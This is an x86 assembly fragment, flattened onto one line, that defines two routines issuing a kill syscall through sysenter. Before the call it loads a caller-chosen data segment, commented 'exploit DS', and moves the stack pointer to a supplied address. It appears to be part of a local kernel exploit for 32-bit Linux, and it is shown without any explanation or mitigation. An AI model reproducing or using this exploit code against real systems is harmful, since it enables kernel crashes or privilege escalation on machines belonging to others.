#include .text .global sysenter_call .global sysenter_call_2 /* void sysenter_call(pid_t pid, int signo, short ds, void *addr) */ sysenter_call: push %ebx push %edi push %ebp push %ds movl %esp, %edi movl 20(%esp), %ebx /* pid */ movl 24(%esp), %ecx /* signo */ movl 28(%esp), %ds /* exploit DS */ movl 32(%esp), %ebp movl %ebp, %esp push $sysenter_return push %ecx push %edx subl $16, %ebp push $0xbaadf00d movl $SYS_kill, %eax sysenter /* vsyscall page will ret to us here */ sysenter_return: mov %edi, %esp pop %ds pop %ebp pop %edi pop %ebx ret sysenter_call_2: push %ebx push %ebp movl 12(%esp), %ebx /* pid */ movl 16(%esp), %ecx /* signo */ movl 20(%esp), %ebp movl $SYS_kill, %eax sysenter .data test: .long 0